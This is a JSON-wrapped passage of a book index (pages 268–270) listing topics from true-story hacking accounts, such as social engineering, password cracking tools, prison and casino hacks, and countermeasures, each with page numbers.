            "text": "penetration testing (continued)\nZatko, Pieter (Mudge)\nthe attack, 118–119\nbackground, 116\ndumpster diving, 118, 120–121\ne-mail sniffing, 122\nfinal report, 123–124\nfortuitous blackout, 121–122\nget-out-of-jail-free card, 118\nground rules, 117–119\nmeeting the client, 117\nNDAs (nondisclosure agreements), 118–119\ntailgating, 121\nvoicemail snooping, 122\npermissions, cracker countermeasures, 188–189\npersonal firewalls, 186–187\nPHF (phone book) script, vulnerabilities, 43–44\nphone book (PHF) script, vulnerabilities, 43–44\nphone hacking. See also phreaking\nvoicemail snooping, 122\nwar dialing, 71–72, 121\nphony badges, 130–131, 137, 229–230\nphreaking, 70–71, 84–86. See also phone hacking\nphysical access, 63–64\nphysical analysis. See dumpster diving\nping sweeps, 202–203\nPkCrack, 165–166\npoker hack, 254–255\nporn spam, 167–168\nport restrictions, 113\nport scanning\ncracker countermeasures, 187\nidentifying server software, 155–157\nsecurity company intrusion, 199–201\nports, using high numbers, 216\npreventive measures. See countermeasures\nprison hack. See Texas prison hack\nprison time. See also punishment; restitution; Texas\nprison hack\nBoron Federal Prison Camp, 86\nfederal prisons, 49–51\nphone phreaking, 84–85\nprison life, 49–51, 86–87\nSheridan Camp, 86\nprisoner escort intrusion\n3COM device configuration, determining, 200–202\naccessing the company system, 211–215\nbarging the IIS server, 213\ncountermeasures, 216–218\nhackers’ background, 195–196\nidentifying a router, 198–199\nmapping the network, 197–198, 202–207\npasswords, cracking, 200, 210, 214\nping sweeps, 202–203\nport scanning, 199–201\nremote control of a PC, 208–211\nresearching the target, 196–197\nreverse DNS lookup, 197–198\nsuccess, 215\ntrapped in a DMZ, 202–207\nprograms. See software\nprotective measures. See countermeasures\nproxy servers\nfinding, 99\nmisconfigured, countermeasures, 112\nmisconfigured, exploiting, 94, 99\nProxyHunter, 99\npsychology of color, 225–226\npsychology of social engineering. See social psychol-\nogy of social engineering\npunishment. See also prison time; restitution\nAnderson, Charles Matthew, 81, 82–84\nButler, William. See Texas prison hack\ncasino hack, 18\nComrade, 30–32\nDavis, Chad, 39–40\nGregory, Patrick, 39–40\nKatsaniotis, Costa, 81, 82–84\nLamo, Adrian, 107–109\nMindPhasr, 39–40\nMostHateD, 39–40\nreluctance to prosecute, 143\nSIPRNET hack, 30–32\nPwDump2, 180\nRahulB (terrorist). See Ibrahim, Khalid; terrorist\nintrusions\nrainbow tables attack, 180\nRama3456 (terrorist). See Ibrahim, Khalid; terrorist\nintrusions\nrandom number generators\nmanipulating the slots, 10\nreverse engineering, 6–8, 12–13\nrewriting, 6–8\ntrue randomness, 7, 20\nRAT (Remote Access Trojan), 96\nreactance, 237–238\nred teaming, 126–127\nRegistry information, dumping, 161\nRemote Access Trojan (RAT), 96\nremote control of a PC, 208–211\nReno, Janet, 31–32\nRequest to Exit (REX), 133\nrestitution. See also prison time; punishment\nAnderson, Charles Matthew, 82–84\nBoeing hack (Matt and Costa), 82–83\nKatsaniotis, Costa, 82–84\nLamo, Adrian, 107–108\nreverse DNS lookup\ncountermeasures, 111–112\nExcite@Home hack, 95–96\nsecurity company intrusion, 197–198\nreverse engineering\nC code to assembler, 173\ncommercial software. See crackers\nrandom number generators, 6–8\nslot machine firmware, 5–6\nREX (Request to Exit), 133\nrisk assessment, 41–42\nRobert\naccessing the help desk, 171–173\nbackground, 166, 168–169\nbackticked variable injection flaw, 167–168\nbackup dangers, 177–179\ndiscovering server names, 170–171\ne-mail addresses, retrieving, 178\nhacking video post production software, 169–177\nOutlook.pst file, retrieving, 178\npasswords, cracking, 175, 178–179, 180\npasswords, observations on, 179–180\nporn spam, 167–168\nrainbow tables attack, 180\nIndex\n268\n"
        },
        {
            "page_number": 290,
            "text": "retrieving mailing lists, 167–168\nsetup.pl exploit, 167–168\nSQL injection attack, 173–177\nuploading to protected directories, 172\nRobin Hood hacker. See Lamo, Adrian\nrole, and social engineering, 232–233\nrole-based accounts, 62–63\nroulette hack, 3\nrouters, identifying, 198–199\nSagarin, Brad, 232, 233\nscanning for vulnerabilities, CGI (common gateway\ninterface), 43\nSecret Internet Protocol Router Network\n(SIPRNET), 28–29, 30–32\nsecuring personal laptops, countermeasures, 217\nsecurity company intrusion\n3COM device configuration, determining, 200–202\naccessing the company system, 211–215\nbarging the IIS server, 213\ncountermeasures, 216–218\nhackers’ background, 195–196\nidentifying a router, 198–199\nmapping the network, 197–198, 202–207\npasswords, cracking, 200, 210, 214\nping sweeps, 202–203\nport scanning, 199–201\nremote control of a PC, 208–211\nresearching the target, 196–197\nreverse DNS lookup, 197–198\nsuccess, 215\ntrapped in a DMZ, 202–207\nsecurity measures. See countermeasures\nsecurity through obscurity, 94\nsensitive files, protecting, 191\nSeptember 11, aftermath of, 34–35\nserver names, discovering, 170–171\nserver software, identifying, 155–157\nsetup.pl, vulnerabilities, 167–168\nsetup.pl exploit, 167–168\nshoulder surfing, 126–127\nSIPRNET (Secret Internet Protocol Router Network),\n28–29, 30–32\nslot machine hack. See casino hack\nsniffers\nBoeing hack, 28\nChinese university hack, 26\ne-mail, 122\nhiding, 43\nLockheed Martin hack, 43\npasswords, 43\nphone numbers, 110\nSIPRNET hack, 31\nsnooping. See sniffers\nsocial engineering\naltercasting, 234\nattribution, 236\nChinese university hack, 25–27\ncold readings, 222–223, 236\ncountermeasures, 110, 238\ncredibility, 233\ndesire to help, 235–236\ndirection of approach, 223–224\ndistracting the target, 234–235\ndumpster diving, 70–71, 118, 120–121\nethics of, 135\nExcite@Home hack, 95\nfear, 237\nfooling the guards, 223–224\nforcing the target into a role, 234\nheuristic information processing, 234–235\nimpersonating an employee, 226–229\nLas Vegas security audits, 222–232\nliking, 236–237\nmomentum of compliance, 235\npenetration testing, 121, 132–133\nphone number sniffing, countermeasures, 110\nphony badges, 130–131, 137, 229–230\npoliteness norm, 136\npsychology of color, 225–226\nreactance, 237–238\nschmoozing casino staffers, 222–223\nshoulder surfing, 126–127\nsocial psychology of persuasion, 232\nstealing hotel services, 72–73\nsystematic information processing, 234–235\ntailgating, 121, 132–133, 136\ntraining guidelines, 238–240\ntraining programs, 240–242\ntrappings of role, 232–233\nin your own family, 242–244\nsocial psychology of social engineering\naltercasting, 234\nattribution, 236\ncold reading, 236\ncredibility, 233\ndesire to help, 235–236\ndistracting the target, 234–235\nfear, 237\nforcing the target into a role, 234\nheuristic information processing, 234–235\nliking, 236–237\nmomentum of compliance, 235\npersuasion, 232\nreactance, 237–238\nsystematic information processing, 234–235\ntrappings of role, 232–233\nsoft drink machine hack, 250\nsoftware. See also firmware\ndumping Registry information, 161\nexamining network connections, 161\nIDA Pro, 173\nInteractive Disassembler, 173\ninventory and auditing, 65–66\nl0phtCrack, 116, 128–129\nLsaDump2, 161\nnetstat command, 161\nnetwork intrusions, 161–163\nNmap, 199–201\npassword cracking\nJohn the Ripper, 142\nl0phtCrack, 116, 128–129\nl0phtCrack III, 180\nPkCrack, 165–166\nPwDump2, 180\nPC Anywhere, 208–211\nPkCrack, 165–166\nport scanning, 199–201\nproxy server lookup, 99\nProxyHunter, 99\nPwDump2, 180\nRAT (Remote Access Trojan), 96\nIndex\n269\n"
        },
        {
            "page_number": 291,
            "text": "software (continued)\nremote control of a PC, 208–211\nreverse engineering C code to assembler, 173\nsniffers\nBoeing hack, 28\nChinese university hack, 26\nhiding, 43\nLockheed Martin hack, 43\npasswords, 43\nSIPRNET hack, 31\ntracert command, 162–163, 198–199\ntracing network packets, 162–163\nTrojans, U.S. District Court hack, 73–74\nWhois queries, 110\nSpy Lantern Keylogger, 144, 148\nSQL injection attack, 173–177\nSQL servers, protecting, 190–191\nstateful inspection firewalls, 186\nstrategies for attacks. See specific strategies\nSwiss bank hack, 147–148\nsystematic information processing, 234–235\nsystem-management tasks, cracker countermeasures,\n187–188\ntailgating, 121, 132–133, 136\nTakedown, 24\ntarget-rich environments, 63\ntelephone hacking. See phone hacking; phreaking\nterrorist intrusions\naftermath, 39–40\naftermath of 9/11, 34–35\nChinese university hack, 25–27\ncountermeasures, 44–46\nDEM hack, 27\nIndian Airlines hijacking, 29–30\ninsight, 42–44\nLockheed Martin hack, 27–28, 42–44\nSIPRNET hack, 28–29, 30–32\nthreat assessment, 41–42\nWhite House break-in, 35–39, 43–44\nTexas Hold ’Em hack, 254–255\nTexas prison hack. See also prison time\ncountermeasures, 62–66\nfederal prisons, 49–51\ngetting caught, 56–59\nhacker’s background, 59–60\nhacker’s life after prison, 60–62\ninsight, 62\nlife in prison, 49–51\nonline in safety, 53–56\ntrading food for computer gear, 51–52\nthird-party applications, cracker countermeasures, 190\nthreat assessment, terrorist intrusions, 41–42\n3COM device configuration, determining, 200–202\ntools and utilities. See software\ntracert command, 162–163, 198–199\ntrapdoors. See Trojans\ntrappings of role, 232–233\nTrojans, 73–74, 150\ntwo-year hack\nbusted, 163–164\nclose call, 160–161\ndownloading source code, 164–165\ndumping Registry information, 161\nexamining Internet Explorer history, 162\nhacking target applications, 161–163\nhacking the target, 159–160\nidentifying the target, 158–159\nknown plaintext attack, 165–166\npassword cracking, 157–159, 165–166\nport scans, 155–157\nretrieving licensing keys, 161–162\ntracing network packets, 162–163\nunauthorized hardware, 64–65\nuploading to\nprotected directories, 172\nWarez sites, 183\nU.S. District Court hack, 71–72, 73–74, 87–88\nvending machine hack, 250\nvideo post production software, hacking, 169–177\nVisual SourceSafe, vulnerabilities, 179\nvoicemail snooping, 122\nVPN services, 192\nvulnerabilities. See also exploits\nApache server software, 119\nbackticked variable injection flaw, 167–168\nBIND (Berkeley Internet Name Domain), 43\nCitrix Metaframe shadowing feature, 144, 145\nDNS (Domain Name Servers), 43\nelectronic attack on the U. S., 41–42\nencryption, 12–13\nMicrosoft FrontPage, 172\nPHF hole, 120\nPHF (phone book) script, 43–44\nscanning for, CGI (common gateway interface), 43\nsetup.pl, 167–168\nSolaris operating system, 119\nVisual SourceSafe, 179\nwearable computer, 13–16\nWhite House break-in, 35–39, 43–44\nWhois queries, 110\nWhurley, 222–230\nWindows, hardening, 192–193\nZatko, Pieter (Mudge)\nthe attack, 118–119\nbackground, 116\ndumpster diving, 118, 120–121\ne-mail sniffing, 122\nfinal report, 123–124\nfortuitous blackout, 121–122\nget-out-of-jail-free card, 118\nground rules, 117–119\nmeeting the client, 117\nNDAs (nondisclosure agreements), 118–119\ntailgating, 121\nvoicemail snooping, 122\nzero-day exploits, 45\nzone transfer, 111\nZyklon (Burns, Eric), 35–40, 43–44\nIndex\n270\n"
        }
    ]
}